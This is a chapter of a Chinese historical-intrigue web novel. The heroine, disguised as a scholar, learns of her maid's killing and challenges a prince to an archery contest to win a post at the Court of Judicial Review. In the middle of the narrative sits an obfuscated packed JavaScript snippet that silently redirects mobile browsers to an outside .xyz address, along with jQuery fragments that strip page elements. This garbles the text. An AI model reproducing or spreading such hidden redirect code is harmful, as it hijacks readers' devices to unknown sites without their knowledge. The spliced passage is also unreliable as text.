“是被上头下命令给打死了”老白的声音颤抖得不成样子,布满皱纹的脸上满是恐惧,想到那夜太子失宠,瑛儿仗义执言却比不过命如蝼蚁,老白痛苦地闭上眼睛,似乎又看到了当时那血腥惨烈的场景。
苏墨竹只觉得浑身冰冷,一股强烈的愤怒和悲痛直冲头顶,让她几乎窒息。瑛儿……那个总是甜甜叫她“小姐”、有点胆小却对她无比忠心的姑娘,竟然被活活打死了!
“谁?!”苏墨竹的声音像是淬了冰,带着刻骨的寒意,“是谁下令?!陆泊云如何保不住她?”她绝不信陆泊云会下这样的命令。可除了陆泊云,能在太子爷的地盘见血的,只怕只有高坐明堂上的哪位。
老白拼命摇头,如同受惊的兔子,眼神惶恐地躲避着苏墨竹凌厉的视线:“别问了苏姑娘,要说这瑛儿也是活该,那瀚文郡主跟魏大人都战战兢兢不敢说话,她一个婢女要给太子出头,说起来可笑,死得也悲惨。”
瀚文郡主!
苏墨竹的心猛地一沉。是了,苏文现在是瀚文郡主,在长公主府,身份敏感,地位尊贵。连同着魏翎也在场,苏墨竹登时愁云晕染上她的眉梢,能让陆秉亲自前来打陆泊云的脸,结合东宫中不断传出的谣言,苏墨竹能想到的只有一个人——大周国母,郑鸢苒!
为了掣肘陆泊云,郑鸢苒还真是费尽心思,只是为何要让她的瑛儿平白丧命。苏墨竹心寒到呕吐之感涌上心头,她扶着门框离开了旧地,她明知瑛儿只是个丫鬟生如蝼蚁,可她还是不甘心于她仅有的能交心的朋友就这么做了别人的垫脚石。
她看着眼前瑟瑟发抖、仿佛瞬间苍老了许多的老管家,心中悲痛和愤怒交织,最终化为一股更坚定的火焰。瑛儿不会白死!陆泊云提起只能苦笑的婚事,瑛儿无辜丧命,这两笔血账,她苏墨竹记下了!
苏墨竹最后深深看了一眼这座承载了她短暂欢乐和巨大悲伤的旧宅,转身决绝地离开。阳光照在她笔挺瘦削的男装背影上,投下的影子却冷硬如刀。她要查清一切,无论挡在前面的是人是鬼!这一次,她不再是那个需要被庇护的苏墨竹,而是用“杨瑜”这个身份织就巨网的人!
金陵城的空气里,似乎还残留着太子离京带来的震动余波,以及皇后宫中那份隐秘的寒意。然而对苏墨竹而言,新的战场已在眼前铺开。吏部的调令下来,新科三甲皆授官:状元郑璋不出意外地进了翰林院,榜眼顾清安留在吏部,而她这个探花郎——杨瑜,却与郑璋、顾清安一同接了另一道特旨:协同调查近期京中流民暴增及边境细作潜入案。这差事名义上是协助京兆府和大理寺,实则权力边界模糊,是各方势力可轻易染指、同样也极易暴露自身的泥潭。
苏墨竹知道,这既是机遇,也是巨大的危机。为了此生不白活,苏墨竹明白只有进入权力中心才有可能棋局翻盘。皇后那条线疑点重重却防护严密,而另一条通往真相的路,就踩在那个桀骜不驯的男人脚下——陆承烨。
内阁次辅林江源明面不显,却是实打实的燕王党,顾首辅连自己的亲孙子都未做安排,她一个无名小子更不会得人青眼。苏墨竹只能靠陆承烨。
尽管她发誓今生不再与他有瓜葛,甚至决心站在陆泊云一边,但瑛儿的惨死、陆泊云为人鱼肉,都指向一个共同的、盘踞在阴影深处的敌人。而要撕开这阴影,在陆泊云远在冀州鞭长莫及时,借助陆承烨这柄锋利却又难以掌控的“刀”,或许是破局的唯一选择。更重要的是,她需要获取信任,获取能接触到机密档案或特殊信息源的权限,比如…大理寺。进入大理寺才能更好的帮着陆泊云查清楚冀州案,毕竟秦博嫡次子秦岩雀为大理寺寺丞,靠近他或许能得到意想不到的收获。
她赌的,是陆承烨对她那双酷似南阳郡主的眼睛无法抗拒的好奇与占有欲。
几日后,金陵最有名的望江楼。苏墨竹打听好陆承烨今日约了几位勋贵子弟在此饮酒,掐准时间,以一身素雅青袍、略显书卷气的“杨探花”姿态出现在酒楼二层的雅间回廊。
就在她“无意”经过陆承烨那间临江、最奢华的雅室门口时,房门恰巧由内拉开,笑声与酒气扑面而来。几名锦衣华服的公子拥簇着身着玄色金纹常服、身形格外挺拔的陆承烨正欲走出。
苏墨竹脚步一顿,恰到好处地流露出些许惊诧和局促,连忙垂首避让到一旁,躬身行礼:“学生杨瑜,不知王爷在此,多有冲撞。”
陆承烨的脚步在她面前停住了。他本就高大,此时居高临下,目光如同实质般落在她低垂的眼睫和那熟悉的侧脸轮廓上。梦中真切却又模糊的影子,再次鬼魅般地浮现在他眼前。不同于宴席上的匆匆一瞥和那晚的惊鸿一现,此刻距离更近,光线更好,那相似的眉眼鼻唇,几乎纤毫毕现。
“杨瑜?”陆承烨的声音带着一丝玩味的慵懒,并未理会身后同僚略带暧昧的轻笑,“抬起头来。”
苏墨竹依言抬头,眼神清澈平静,带着恰到好处的恭敬与一丝被高位者注视的紧张。她刻意让那双桃花眼氤氲着水色,眼尾下垂时,那一粒微小的泪痣便清晰可见——那是连南阳都没有的标记,却在陆承烨的记忆深处敲响一声微弱的钟鸣。
“果然生得一副好皮囊。”陆承烨嘴角勾起一抹肆意的笑,仿佛在欣赏一件精美的瓷器。他目光如鹰隼,扫过她看似单薄的身体,“不在家里温书准备新差事,跑这儿来做什么?”
“回王爷,”苏墨竹声音清越,态度不卑不亢,“学生奉旨与郑大人、顾大人协查流民及细作案。新差在身,不敢懈怠,特来此寻访些可能的线索。”
“哦?”陆承烨挑眉,似乎有了一丝兴趣,“你这般娇弱书生,查这等凶险之事?胆子倒不小。可有什么眉目了?”
“学生愚钝,初涉此务,尚无头绪。”苏墨竹谦逊摇头,随即话锋似无意一转,带着一丝向往,“不过学生近日翻阅卷宗,深感大理寺积案如山,若能习得其中精要,或许对京中情势能有更深的把握。”她的目光坦率地迎上陆承烨的审视,那潜台词不言而喻——她想进大理寺,需要更高的权限和更有力量的平台。
陆承烨何等精明,瞬间捕捉到她话语中的试探。他轻笑一声,那笑声在嘈杂的酒楼中却异常清晰:“想进大理寺?杨瑜,志向不小。”他向前一步,距离骤然拉近,带着浓郁酒气和强烈的压迫感,“想做本王的刀,可不是靠一张脸或者会翻翻卷宗就够的。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15909032|176875||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
苏墨竹的心跳漏了一拍,努力维持着表面的镇定:“王爷言重了。学生只愿为大周效力,尽绵薄之力……”
果然是这张脸么?苏墨竹心中苦涩想着。
“呵,”陆承烨打断她,锐利的眼神几乎要将她看穿,“本王身边,从不养无用之人。更不养立场不明的棋子。想做本王的人,你得证明,你不只是看着皮囊”他顿了顿,后面“好看”二字并未出口,只是那炽烈的目光在她眉眼间久久停留,“……还得有真本事。”
苏墨竹心中一横,豁出去了。她知道陆承烨最看重的真本事谁什么——那是用上一世十年的血泪和刻骨的执念磨炼出来的!她猛地抬头,眼神瞬间变得锐利而自信,甚至带上了一丝战意:“王爷既如此说,学生斗胆,想向王爷讨教一番!”
“讨教?”陆承烨来了兴致,“你想跟本王讨教什么?诗词歌赋还是琴棋书画?”
苏墨竹的目光越过他的肩膀,投向远处天井一角侍卫放置的弓箭靶垛,语出惊人:“箭术!”
“什么?!”不仅陆承烨身后的勋贵子弟们发出一阵哄笑,连陆承烨本人也愣了一下,随即爆发出更响亮的笑声:“哈哈哈哈哈!箭术?你这风吹就倒的身子骨,会拉弓吗?”他实在难以将眼前这个清秀单薄的探花郎与挽弓搭箭的形象联系起来。
“王爷敢应战吗?”苏墨竹不退反进,朗声问道,那份笃定让笑声渐渐平息。
陆承烨收敛了笑意,锐利的目光再次审视她:“好!有种!本王就应了你!若你赢了,大理寺的位置,本王替你谋!若你输了……”
“任凭王爷处置。”苏墨竹斩钉截铁。
校场很快清空。陆承烨选了最重的一张硬弓,而苏墨竹则挑选了一张略轻但工艺极佳的复合长弓。起初是静止靶,八十步外。陆承烨箭无虚发,箭箭正中红心,赢得阵阵喝彩。
轮到苏墨竹了。她深吸一口气,摒除所有杂念。前世无数个日夜,在王府后山、在皇家猎场、甚至在冷宫的荒院中偷偷苦练的情景仿佛重现眼前。拉弓,搭箭,三点一线——动作如行云流水,带着一种刻入骨髓的精准美感。她瘦弱的手臂爆发出令人惊异的力量与稳定度。
嗖!嗖!嗖!
三支连珠箭!同样三支箭,深深没入红心之中,其中最后一支甚至劈开了陆承烨先前射入的一支箭尾!整个校场瞬间鸦雀无声,包括陆承烨在内的所有人都目瞪口呆。
陆承烨瞳孔微缩,看着她的眼神第一次彻底变了,不再是纯粹的审视猎物般的兴趣,而是掺杂了震惊、欣赏和更深的探究。
“好箭法!”他由衷赞了一声,随即眼神更热切,“静靶无趣!敢不敢比骑射?”他指了指校场另一侧备好的马匹。这对他来说易如反掌,却是对眼前这个“书生”真正的考验。
苏墨竹的心猛地一沉。她会射箭,但那是上一世北辰的身份下磨炼的。这一世,她是杨瑜,一个寒门学子,理应……不善骑术!这才是符合身份的巨大破绽!
看着她瞬间的犹豫和眼底一闪而过的慌乱,陆承烨眯起了眼,嘴角勾起玩味的弧度,仿佛看穿了什么:“怎么?只会站着射靶?”他的语气带着一丝戏谑。